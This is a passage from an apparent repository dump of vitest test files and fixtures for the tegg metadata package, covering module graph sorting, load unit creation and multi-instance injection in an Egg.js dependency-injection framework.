    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { describe, it } from 'vitest';\n\nimport { GlobalGraph } from '../src/index.js';\nimport { buildModuleNode } from './fixtures/LoaderUtil.js';\nimport { RootProto } from './fixtures/modules/app-graph-modules/root/Root.js';\nimport { UnusedProto } from './fixtures/modules/app-graph-modules/unused/Unused.js';\nimport { UsedProto } from './fixtures/modules/app-graph-modules/used/Used.js';\nimport { App } from './fixtures/modules/app-multi-inject-multi/app/modules/app/App.js';\nimport { App2 } from './fixtures/modules/app-multi-inject-multi/app/modules/app2/App.js';\nimport { BizManager } from './fixtures/modules/app-multi-inject-multi/app/modules/bar/BizManager.js';\nimport { Secret } from './fixtures/modules/app-multi-inject-multi/app/modules/foo/Secret.js';\nimport { TestLoader } from './fixtures/TestLoader.js';\n\ndescribe('test/LoadUnit/GlobalGraph.test.ts', () => {\n  it('optional module dep should work', () => {\n    const graph = new GlobalGraph();\n    graph.addModuleNode(\n      buildModuleNode(path.join(__dirname, './fixtures/modules/app-graph-modules/root'), [RootProto], []),\n    );\n    graph.addModuleNode(\n      buildModuleNode(path.join(__dirname, './fixtures/modules/app-graph-modules/used'), [UsedProto], [], true),\n    );\n\n    graph.addModuleNode(\n      buildModuleNode(path.join(__dirname, './fixtures/modules/app-graph-modules/unused'), [UnusedProto], [], true),\n    );\n\n    graph.build();\n    graph.sort();\n    assert(graph.moduleConfigList.length === 2);\n  });\n\n  it('multi instance inject multi instance should work', () => {\n    const graph = new GlobalGraph();\n    const multiInstanceClazzList = [\n      {\n        clazz: BizManager,\n        unitPath: path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/bar'),\n        moduleName: 'bar',\n      },\n      {\n        clazz: Secret,\n        unitPath: path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/foo'),\n        moduleName: 'foo',\n      },\n    ];\n    graph.addModuleNode(\n      buildModuleNode(\n        path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/app'),\n        [App],\n        multiInstanceClazzList,\n      ),\n    );\n    graph.addModuleNode(\n      buildModuleNode(\n        path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/app2'),\n        [App2],\n        multiInstanceClazzList,\n      ),\n    );\n    graph.addModuleNode(\n      buildModuleNode(\n        path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/bar'),\n        [],\n        multiInstanceClazzList,\n      ),\n    );\n    graph.addModuleNode(\n      buildModuleNode(\n        path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/foo'),\n        [],\n        multiInstanceClazzList,\n      ),\n    );\n\n    graph.build();\n    graph.sort();\n    assert.deepStrictEqual(\n      graph.moduleConfigList.map((t) => t.name),\n      ['app', 'app2', 'bar', 'foo'],\n    );\n  });\n\n  it('should sort extends class success', async () => {\n    const graph = new GlobalGraph();\n    const moduleDir = path.join(__dirname, './fixtures/modules/extends-module');\n    const loader = new TestLoader(moduleDir);\n    const clazzList = await loader.load();\n    graph.addModuleNode(buildModuleNode(moduleDir, clazzList, []));\n    graph.build();\n    graph.sort();\n    const moduleProtoDescriptors = graph.moduleProtoDescriptorMap.get('extendsModule');\n    assert(moduleProtoDescriptors);\n    assert.deepStrictEqual(\n      moduleProtoDescriptors!.map((t) => t.name),\n      ['logger', 'base', 'foo'],\n    );\n  });\n\n  it('should sort constructor extends class success', async () => {\n    const graph = new GlobalGraph();\n    const moduleDir = path.join(__dirname, './fixtures/modules/extends-constructor-module');\n    const loader = new TestLoader(moduleDir);\n    const clazzList = await loader.load();\n    graph.addModuleNode(buildModuleNode(moduleDir, clazzList, []));\n    graph.build();\n    graph.sort();\n    const moduleProtoDescriptors = graph.moduleProtoDescriptorMap.get('extendsModule');\n    assert.deepStrictEqual(\n      moduleProtoDescriptors!.map((t) => t.name),\n      ['logger', 'bar', 'constructorBase', 'fooConstructor', 'fooConstructorLogger'],\n    );\n  });\n});\n"
  },
  {
    "path": "tegg/core/metadata/test/LoadUnit.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { InitTypeQualifierAttribute, ObjectInitType } from '@eggjs/core-decorator';\nimport { describe, it, beforeEach, afterEach } from 'vitest';\n\nimport {\n  EggLoadUnitType,\n  GlobalGraph,\n  LoadUnitFactory,\n  LoadUnitLifecycleUtil,\n  LoadUnitMultiInstanceProtoHook,\n} from '../src/index.js';\n// import { App } from './fixtures/modules/app-multi-inject-multi/app/modules/app/App';\n// import { App2 } from './fixtures/modules/app-multi-inject-multi/app/modules/app2/App';\n// import { BizManager } from './fixtures/modules/app-multi-inject-multi/app/modules/bar/BizManager';\n// import { Secret } from './fixtures/modules/app-multi-inject-multi/app/modules/foo/Secret';\nimport { buildGlobalGraph } from './fixtures/LoaderUtil.js';\nimport { FOO_ATTRIBUTE } from './fixtures/modules/multi-instance-module/MultiInstance.js';\nimport { TestLoader } from './fixtures/TestLoader.js';\n\ndescribe('test/LoadUnit/LoadUnit.test.ts', () => {\n  beforeEach(() => {\n    GlobalGraph.instance = undefined;\n  });\n\n  describe('inject with constructor', () => {\n    it('should not inherit parent class', async () => {\n      const extendsConstructorModule = path.join(__dirname, './fixtures/modules/extends-constructor-module');\n      const loader = new TestLoader(extendsConstructorModule);\n\n      await buildGlobalGraph([extendsConstructorModule], [loader]);\n\n      const loadUnit = await LoadUnitFactory.createLoadUnit(extendsConstructorModule, EggLoadUnitType.MODULE, loader);\n\n      const fooConstructor = loadUnit.getEggPrototype('fooConstructor', [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: ObjectInitType.CONTEXT,\n        },\n      ]);\n      const fooConstructorLogger = loadUnit.getEggPrototype('fooConstructorLogger', [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: ObjectInitType.CONTEXT,\n        },\n      ]);\n\n      assert.strictEqual(fooConstructor.length, 1);\n      assert.strictEqual(fooConstructor[0].injectObjects!.length, 1);\n      assert.strictEqual(fooConstructor[0].injectObjects![0].refName, 'bar');\n\n      assert.strictEqual(fooConstructorLogger.length, 1);\n      assert.strictEqual(fooConstructorLogger[0].injectObjects!.length, 2);\n      assert.strictEqual(fooConstructorLogger[0].injectObjects![0].refName, 'bar');\n      assert.strictEqual(fooConstructorLogger[0].injectObjects![1].refName, 'logger');\n      await LoadUnitFactory.destroyLoadUnit(loadUnit);\n    });\n  });\n  describe('ModuleLoadUnit', () => {\n    it('should create success', async () => {\n      const repoModulePath = path.join(__dirname, './fixtures/modules/load-unit');\n      const loader = new TestLoader(repoModulePath);\n      await buildGlobalGraph([repoModulePath], [loader]);\n\n      const loadUnit = await LoadUnitFactory.createLoadUnit(repoModulePath, EggLoadUnitType.MODULE, loader);\n      assert(loadUnit.id === 'LOAD_UNIT:app-repo');\n      assert(loadUnit.unitPath === repoModulePath);\n      const appRepoProto = loadUnit.getEggPrototype('appRepo', [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: ObjectInitType.SINGLETON,\n        },\n      ]);\n      const sprintRepoProto = loadUnit.getEggPrototype('sprintRepo', [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: ObjectInitType.SINGLETON,\n        },\n      ]);\n      const userRepoProto = loadUnit.getEggPrototype('userRepo', [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: ObjectInitType.SINGLETON,\n        },\n      ]);\n      assert.strictEqual(appRepoProto.length, 1);\n      assert.strictEqual(appRepoProto[0].className, 'AppRepo');\n      assert.strictEqual(sprintRepoProto.length, 1);\n      assert.strictEqual(userRepoProto.length, 1);\n      await LoadUnitFactory.destroyLoadUnit(loadUnit);\n    });\n\n    it('recursive deps should should throw error', async () => {\n      const repoModulePath = path.join(__dirname, './fixtures/modules/recursive-load-unit');\n      const loader = new TestLoader(repoModulePath);\n\n      await assert.rejects(async () => {\n        return await buildGlobalGraph([repoModulePath], [loader]);\n      }, /proto has recursive deps/);\n    });\n  });\n\n  describe('optional inject', () => {\n    it('should success', async () => {\n      const optionalInjectModulePath = path.join(__dirname, './fixtures/modules/optional-inject-module');\n      const loader = new TestLoader(optionalInjectModulePath);\n      await buildGlobalGraph([optionalInjectModulePath], [loader]);\n\n      const loadUnit = await LoadUnitFactory.createLoadUnit(optionalInjectModulePath, EggLoadUnitType.MODULE, loader);\n      const optionalInjectServiceProto = loadUnit.getEggPrototype('optionalInjectService', [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: ObjectInitType.SINGLETON,\n        },\n      ]);\n      assert.deepStrictEqual(optionalInjectServiceProto[0].injectObjects, []);\n    });\n  });\n\n  describe('invalidate load unit', () => {\n    it('should init failed', async () => {\n      const invalidateModulePath = path.join(__dirname, './fixtures/modules/invalidate-module');\n      const loader = new TestLoader(invalidateModulePath);\n      await assert.rejects(\n        async () => {\n          await buildGlobalGraph([invalidateModulePath], [loader]);\n          await LoadUnitFactory.createLoadUnit(invalidateModulePath, EggLoadUnitType.MODULE, loader);\n        },\n        (e: Error) => {\n          assert(e.message.includes('Object persistenceService not found'));\n          assert(e.message.includes('faq/TEGG_EGG_PROTO_NOT_FOUND'));\n          return true;\n        },\n      );\n    });\n\n    it('should init failed with multi proto', async () => {\n      const invalidateModulePath = path.join(__dirname, './fixtures/modules/invalid-multimodule');\n      const loader = new TestLoader(invalidateModulePath);\n      await assert.rejects(\n        async () => {\n          await buildGlobalGraph([invalidateModulePath], [loader]);\n        },\n        (e: Error) => {\n          assert(e.message.includes('duplicate proto: invalidateService'));\n          return true;\n        },\n      );\n    });\n  });\n\n  describe('try use obj init type as property init type qualifier', () => {\n    it('should get the right proto', async () => {\n      const sameObjectModulePath = path.join(__dirname, './fixtures/modules/same-name-object');\n      const loader = new TestLoader(sameObjectModulePath);\n      await buildGlobalGraph([sameObjectModulePath], [loader]);\n      const loadUnit = await LoadUnitFactory.createLoadUnit(sameObjectModulePath, EggLoadUnitType.MODULE, loader);\n      const countServiceProto = loadUnit.getEggPrototype('countService', [])[0];\n      assert(countServiceProto);\n    });\n\n    it('should use context proto first', async () => {\n      const sameObjectModulePath = path.join(__dirname, './fixtures/modules/same-name-object');\n      const loader = new TestLoader(sameObjectModulePath);\n      await buildGlobalGraph([sameObjectModulePath], [loader]);\n      const loadUnit = await LoadUnitFactory.createLoadUnit(sameObjectModulePath, EggLoadUnitType.MODULE, loader);\n      const singletonProto = loadUnit.getEggPrototype('singletonCountService', [])[0];\n      assert(singletonProto);\n      const injectProto = singletonProto.injectObjects.find((t) => t.objName === 'appCache');\n      assert(injectProto);\n      assert(injectProto.proto.initType === ObjectInitType.CONTEXT);\n    });\n  });\n\n  describe('MultiInstance proto', () => {\n    let loadUnitMultiInstanceProtoHook: LoadUnitMultiInstanceProtoHook;\n    beforeEach(() => {\n      loadUnitMultiInstanceProtoHook = new LoadUnitMultiInstanceProtoHook();\n      LoadUnitLifecycleUtil.registerLifecycle(loadUnitMultiInstanceProtoHook);\n    });\n\n    afterEach(() => {\n      LoadUnitLifecycleUtil.deleteLifecycle(loadUnitMultiInstanceProtoHook);\n    });\n\n    // TODO: multi instance proto not work\n    it.skip('should load static work', async () => {\n      const multiInstanceModule = path.join(__dirname, './fixtures/modules/multi-instance-module');\n      const loader = new TestLoader(multiInstanceModule);\n      await buildGlobalGraph([multiInstanceModule], [loader]);\n      const loadUnit = await LoadUnitFactory.createLoadUnit(multiInstanceModule, EggLoadUnitType.MODULE, loader);\n      assert.equal(loadUnit.id, 'LOAD_UNIT:multiInstanceModule');\n      assert.equal(loadUnit.unitPath, multiInstanceModule);\n      const foo1Prototype = loadUnit.getEggPrototype('foo', [{ attribute: FOO_ATTRIBUTE, value: 'foo1' }]);\n      const foo2Prototype = loadUnit.getEggPrototype('foo', [{ attribute: FOO_ATTRIBUTE, value: 'foo2' }]);\n      assert(foo1Prototype);\n      console.log(foo1Prototype);\n      assert.equal(foo1Prototype.length, 1);\n      assert.equal(foo1Prototype[0].className, 'FooLogger');\n      assert(foo2Prototype);\n      assert.equal(foo2Prototype.length, 1);\n      await LoadUnitFactory.destroyLoadUnit(loadUnit);\n    });\n\n    it.skip('should load callback work', async () => {\n      const multiCallbackInstanceModule = path.join(__dirname, './fixtures/modules/multi-callback-instance-module');\n      const loader = new TestLoader(multiCallbackInstanceModule);\n      await buildGlobalGraph([multiCallbackInstanceModule], [loader]);\n      const loadUnit = await LoadUnitFactory.createLoadUnit(\n        multiCallbackInstanceModule,\n        EggLoadUnitType.MODULE,\n        loader,\n      );\n      assert.equal(loadUnit.id, 'LOAD_UNIT:multiCallbackInstanceModule');\n      assert.equal(loadUnit.unitPath, multiCallbackInstanceModule);\n      const foo1Prototype = loadUnit.getEggPrototype('foo', [{ attribute: FOO_ATTRIBUTE, value: 'foo' }]);\n      const foo2Prototype = loadUnit.getEggPrototype('foo', [{ attribute: FOO_ATTRIBUTE, value: 'bar' }]);\n      assert(foo1Prototype);\n      assert.equal(foo1Prototype.length, 1);\n      assert(foo2Prototype);\n      assert.equal(foo2Prototype.length, 1);\n      await LoadUnitFactory.destroyLoadUnit(loadUnit);\n    });\n\n    it.skip('should multi instance inject multi instance work', async () => {\n      const appInstanceModule = path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/app');\n      const app2InstanceModule = path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/app2');\n      const loader = new TestLoader(appInstanceModule);\n      const loader2 = new TestLoader(app2InstanceModule);\n      const fooInstanceModule = path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/foo');\n      const barInstanceModule = path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/bar');\n      const fooLoader = new TestLoader(fooInstanceModule);\n      const barLoader = new TestLoader(barInstanceModule);\n      await buildGlobalGraph(\n        [appInstanceModule, app2InstanceModule, fooInstanceModule, barInstanceModule],\n        [loader, loader2, fooLoader, barLoader],\n      );\n      const loadUnit = await LoadUnitFactory.createLoadUnit(appInstanceModule, EggLoadUnitType.MODULE, loader);\n      const loadUnit2 = await LoadUnitFactory.createLoadUnit(app2InstanceModule, EggLoadUnitType.MODULE, loader2);\n\n      const app1Prototype = loadUnit.getEggPrototype('app', []);\n      const app2Prototype = loadUnit.getEggPrototype('app2', []);\n\n      assert(app1Prototype);\n      assert(app2Prototype);\n\n      await LoadUnitFactory.destroyLoadUnit(loadUnit);\n      await LoadUnitFactory.destroyLoadUnit(loadUnit2);\n      LoadUnitMultiInstanceProtoHook.clear();\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/metadata/test/ModuleGraph.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { describe, it } from 'vitest';\n\nimport { ModuleGraph } from '../src/index.js';\nimport { TestLoader } from './fixtures/TestLoader.js';\n\ndescribe('test/ModuleGraph.test.ts', () => {\n  it('should sort extends class success', async () => {\n    const modulePath = path.join(__dirname, './fixtures/modules/extends-module');\n    const loader = new TestLoader(modulePath);\n    const clazzList = await loader.load();\n    const graph = new ModuleGraph(clazzList, modulePath, 'foo');\n    await graph.build();\n    graph.sort();\n  });\n\n  it('should sort constructor extends class success', async () => {\n    const modulePath = path.join(__dirname, './fixtures/modules/extends-constructor-module');\n    const loader = new TestLoader(modulePath);\n    const clazzList = await loader.load();\n    const graph = new ModuleGraph(clazzList, modulePath, 'foo');\n    await graph.build();\n    graph.sort();\n    assert.deepStrictEqual(\n      graph.clazzList.map((t) => t.name),\n      ['Logger', 'Bar', 'ConstructorBase', 'FooConstructor', 'FooConstructorLogger'],\n    );\n  });\n});\n"
  },
  {
    "path": "tegg/core/metadata/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"AbstractProtoDescriptor\": [Function],\n  \"AppGraph\": [Function],\n  \"ClassProtoDescriptor\": [Function],\n  \"ClassUtil\": [Function],\n  \"ClazzMap\": [Function],\n  \"EggLoadUnitType\": {\n    \"APP\": \"APP\",\n    \"MODULE\": \"MODULE\",\n    \"PLUGIN\": \"PLUGIN\",\n  },\n  \"EggPrototypeBuilder\": [Function],\n  \"EggPrototypeCreatorFactory\": [Function],\n  \"EggPrototypeFactory\": [Function],\n  \"EggPrototypeImpl\": [Function],\n  \"EggPrototypeLifecycleUtil\": LifecycleUtil {\n    \"lifecycleSet\": Set {},\n    \"objLifecycleSet\": Map {},\n  },\n  \"EggPrototypeNotFound\": [Function],\n  \"ErrorCodes\": {\n    \"EGG_PROTO_NOT_FOUND\": \"EGG_PROTO_NOT_FOUND\",\n    \"INCOMPATIBLE_PROTO_INJECT\": \"INCOMPATIBLE_PROTO_INJECT\",\n    \"MULTI_PROTO_FOUND\": \"MULTI_PROTO_FOUND\",\n  },\n  \"GlobalGraph\": [Function],\n  \"GlobalModuleNode\": [Function],\n  \"GlobalModuleNodeBuilder\": [Function],\n  \"IncompatibleProtoInject\": [Function],\n  \"LoadUnitFactory\": [Function],\n  \"LoadUnitLifecycleUtil\": LifecycleUtil {\n    \"lifecycleSet\": Set {},\n    \"objLifecycleSet\": Map {},\n  },\n  \"LoadUnitMultiInstanceProtoHook\": [Function],\n  \"ModuleDependencyMeta\": [Function],\n  \"ModuleDescriptorDumper\": [Function],\n  \"ModuleGraph\": [Function],\n  \"ModuleLoadUnit\": [Function],\n  \"ModuleNode\": [Function],\n  \"MultiPrototypeFound\": [Function],\n  \"ProtoDependencyMeta\": [Function],\n  \"ProtoDescriptorHelper\": [Function],\n  \"ProtoDescriptorType\": {\n    \"CLASS\": \"CLASS\",\n  },\n  \"ProtoNode\": [Function],\n  \"TeggError\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/LoaderUtil.ts",
    "content": "import { type EggProtoImplClass, PrototypeUtil } from '@eggjs/core-decorator';\nimport { ModuleConfigUtil } from '@eggjs/tegg-common-util';\nimport { type Loader } from '@eggjs/tegg-types';\nimport is from 'is-type-of';\n\nimport { GlobalModuleNodeBuilder, GlobalGraph, GlobalModuleNode } from '../../src/index.ts';\n\nexport class LoaderUtil {\n  static async loadFile(filePath: string): Promise<EggProtoImplClass[]> {\n    let exports;\n    try {\n      exports = await import(filePath);\n    } catch (e: any) {\n      e.message = '[tegg/loader] load ' + filePath + ' failed: ' + e.message;\n      throw e;\n    }\n    const clazzList: EggProtoImplClass[] = [];\n    const exportNames = Object.keys(exports);\n    for (const exportName of exportNames) {\n      const clazz = exports[exportName];\n      const isEggProto =\n        is.class(clazz) && (PrototypeUtil.isEggPrototype(clazz) || PrototypeUtil.isEggMultiInstancePrototype(clazz));\n      if (!isEggProto) {\n        continue;\n      }\n      PrototypeUtil.setFilePath(clazz, filePath);\n      clazzList.push(clazz);\n    }\n    return clazzList;\n  }\n}\n\nexport function buildModuleNode(\n  modulePath: string,\n  clazzList: EggProtoImplClass[],\n  multiInstanceClazzList: {\n    clazz: any;\n    unitPath: string;\n    moduleName: string;\n  }[],\n  optional = false,\n): GlobalModuleNode {\n  const builder = GlobalModuleNodeBuilder.create(modulePath, optional);\n  for (const clazz of clazzList) {\n    builder.addClazz(clazz);\n  }\n  for (const { clazz, moduleName, unitPath } of multiInstanceClazzList) {\n    builder.addMultiInstanceClazz(clazz, moduleName, unitPath);\n  }\n  return builder.build();\n}\n\nexport async function buildGlobalGraph(modulePaths: string[], loaders: Loader[]): Promise<void> {\n  GlobalGraph.instance = new GlobalGraph();\n  const multiInstanceEggProtoClass: {\n    clazz: any;\n    unitPath: string;\n    moduleName: string;\n  }[] = [];\n  for (let i = 0; i < modulePaths.length; i++) {\n    const modulePath = modulePaths[i];\n    const loader = loaders[i];\n    const clazzList = await loader.load();\n    const moduleName = ModuleConfigUtil.readModuleNameSync(modulePath);\n    for (const clazz of clazzList) {\n      if (PrototypeUtil.isEggMultiInstancePrototype(clazz)) {\n        multiInstanceEggProtoClass.push({\n          clazz,\n          unitPath: modulePath,\n          moduleName,\n        });\n      }\n    }\n  }\n  for (let i = 0; i < modulePaths.length; i++) {\n    const modulePath = modulePaths[i];\n    const loader = loaders[i];\n    const clazzList = await loader.load();\n    const eggProtoClass: EggProtoImplClass[] = [];\n    for (const clazz of clazzList) {\n      if (PrototypeUtil.isEggPrototype(clazz)) {\n        eggProtoClass.push(clazz);\n      }\n    }\n    GlobalGraph.instance.addModuleNode(buildModuleNode(modulePath, eggProtoClass, multiInstanceEggProtoClass));\n  }\n  GlobalGraph.instance.build();\n  GlobalGraph.instance.sort();\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/TestLoader.ts",
    "content": "import path from 'node:path';\n\nimport { type EggProtoImplClass } from '@eggjs/core-decorator';\nimport globby from 'globby';\n\nimport { type Loader } from '../../src/index.ts';\nimport { LoaderUtil } from './LoaderUtil.ts';\n\nexport class TestLoader implements Loader {\n  private readonly moduleDir: string;\n\n  constructor(moduleDir: string) {\n    this.moduleDir = moduleDir;\n  }\n\n  async load(): Promise<EggProtoImplClass[]> {\n    const protoClassList: EggProtoImplClass[] = [];\n    const files = globby.sync(['**/*.(js|ts)'], { cwd: this.moduleDir });\n    for (const file of files) {\n      const realPath = path.join(this.moduleDir, file);\n      const protoClazz = await LoaderUtil.loadFile(realPath);\n      if (!protoClazz) {\n        continue;\n      }\n      protoClassList.push(...protoClazz);\n    }\n    return protoClassList;\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-graph-modules/root/Root.ts",
    "content": "import { SingletonProto, Inject } from '@eggjs/core-decorator';\n\nimport { UsedProto } from '../used/Used.ts';\n\n@SingletonProto()\nexport class RootProto {\n  @Inject() usedProto: UsedProto;\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-graph-modules/root/RootConstructor.ts",
    "content": "import { SingletonProto, Inject } from '@eggjs/core-decorator';\n\nimport { UsedProto } from '../used/Used.ts';\n\n@SingletonProto()\nexport class RootConstructorProto {\n  // @ts-expect-error readonly property in constructor\n  constructor(@Inject() readonly usedProto: UsedProto) {}\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-graph-modules/root/package.json",
    "content": "{\n  \"name\": \"root\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"root\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-graph-modules/unused/Unused.ts",
    "content": "import { SingletonProto } from '@eggjs/core-decorator';\n\n@SingletonProto()\nexport class UnusedProto {}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-graph-modules/unused/package.json",
    "content": "{\n  \"name\": \"unused\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"unused\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-graph-modules/used/Used.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/core-decorator';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class UsedProto {}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-graph-modules/used/package.json",
    "content": "{\n  \"name\": \"used\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"used\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/app/modules/app/App.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/core-decorator';\n\nimport { BizManager, BizManagerQualifier } from '../bar/BizManager.js';\n\n@SingletonProto()\nexport class App {\n  @Inject()\n  @BizManagerQualifier('foo')\n  bizManager: BizManager;\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/app/modules/app/module.yml",
    "content": "BizManager:\n  clients:\n    foo:\n      secret: '1'\n    bar:\n      secret: '2'\n\nsecret:\n  keys:\n    - '1'\n    - '2'\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/app/modules/app/package.json",
    "content": "{\n  \"name\": \"app\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"app\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/app/modules/app2/App.ts",
    "content": "import { Inject, ModuleQualifier, SingletonProto } from '@eggjs/core-decorator';\n\nimport { Secret, SecretQualifier } from '../foo/Secret.js';\n\n@SingletonProto()\nexport class App2 {\n  @Inject()\n  @ModuleQualifier('app2')\n  @SecretQualifier('1')\n  secret: Secret;\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/app/modules/app2/module.yml",
    "content": "secret:\n  keys:\n    - '1'\n    - '2'\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/app/modules/app2/package.json",
    "content": "{\n  \"name\": \"app2\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"app2\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/app/modules/bar/BizManager.ts",
    "content": "import {\n  MultiInstanceProto,\n  AccessLevel,\n  Inject,\n  ObjectInitType,\n  type ObjectInfo,\n  type MultiInstancePrototypeGetObjectsContext,\n  MultiInstanceInfo,\n} from '@eggjs/core-decorator';\nimport { type EggProtoImplClass, LoadUnitNameQualifierAttribute, QualifierUtil } from '@eggjs/core-decorator';\nimport { ModuleConfigUtil } from '@eggjs/tegg-common-util';\n\nimport { Secret, SecretQualifierAttribute } from '../foo/Secret.ts';\n\nexport const BizManagerQualifierAttribute: symbol = Symbol.for('Qualifier.BizManager');\nexport const BizManagerInjectName = 'bizManager';\n\nexport function BizManagerQualifier(chatModelName: string) {\n  return function (target: any, propertyKey: PropertyKey): void {\n    QualifierUtil.addProperQualifier(\n      target.constructor as EggProtoImplClass,\n      propertyKey,\n      BizManagerQualifierAttribute,\n      chatModelName,\n    );\n  };\n}\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  // 从 module.yml 中动态获取配置来决定需要初始化几个对象\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext) {\n    const config = ModuleConfigUtil.loadModuleConfigSync(ctx.unitPath) as any;\n    const name = ModuleConfigUtil.readModuleNameSync(ctx.unitPath);\n    const clients = config?.BizManager?.clients;\n    if (!clients) return [];\n    return Object.keys(clients).map((clientName: string) => {\n      return {\n        name: BizManagerInjectName,\n        qualifiers: [\n          {\n            attribute: BizManagerQualifierAttribute,\n            value: clientName,\n          },\n        ],\n        properQualifiers: {\n          secret: [\n            {\n              attribute: SecretQualifierAttribute,\n              value: clients[clientName].secret,\n            },\n            {\n              attribute: LoadUnitNameQualifierAttribute,\n              value: name,\n            },\n          ],\n        },\n      };\n    });\n  },\n})\nexport class BizManager {\n  readonly name: string;\n  readonly secret: string;\n\n  constructor(@Inject() secret: Secret, @MultiInstanceInfo([BizManagerQualifierAttribute]) objInfo: ObjectInfo) {\n    this.name = objInfo.name as string;\n    this.secret = secret.getSecret(this.name);\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/app/modules/bar/package.json",
    "content": "{\n  \"name\": \"bar\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"bar\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/app/modules/foo/Secret.ts",
    "content": "import {\n  MultiInstanceProto,\n  type MultiInstancePrototypeGetObjectsContext,\n  ObjectInitType,\n  AccessLevel,\n  QualifierUtil,\n} from '@eggjs/core-decorator';\nimport { ModuleConfigUtil } from '@eggjs/tegg-common-util';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nexport const SecretQualifierAttribute: symbol = Symbol.for('Qualifier.Secret');\nexport const SecretInjectName = 'secret';\n\nexport function SecretQualifier(chatModelName: string) {\n  return function (target: any, propertyKey: PropertyKey): void {\n    QualifierUtil.addProperQualifier(\n      target.constructor as EggProtoImplClass,\n      propertyKey,\n      SecretQualifierAttribute,\n      chatModelName,\n    );\n  };\n}\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext) {\n    const config = ModuleConfigUtil.loadModuleConfigSync(ctx.unitPath) as any;\n    const keys = config?.secret?.keys;\n    if (!keys || keys.length === 0) return [];\n    return keys.map((t: string) => {\n      return {\n        name: SecretInjectName,\n        qualifiers: [\n          {\n            attribute: SecretQualifierAttribute,\n            value: t,\n          },\n        ],\n      };\n    });\n  },\n})\nexport class Secret {\n  getSecret(key: string): string {\n    return key + '233';\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/app/modules/foo/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/app-multi-inject-multi/package.json",
    "content": "{\n  \"name\": \"app-multi-inject-multi\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/core/metadata/test/fixtures/modules/extends-constructor-module/Base.ts",
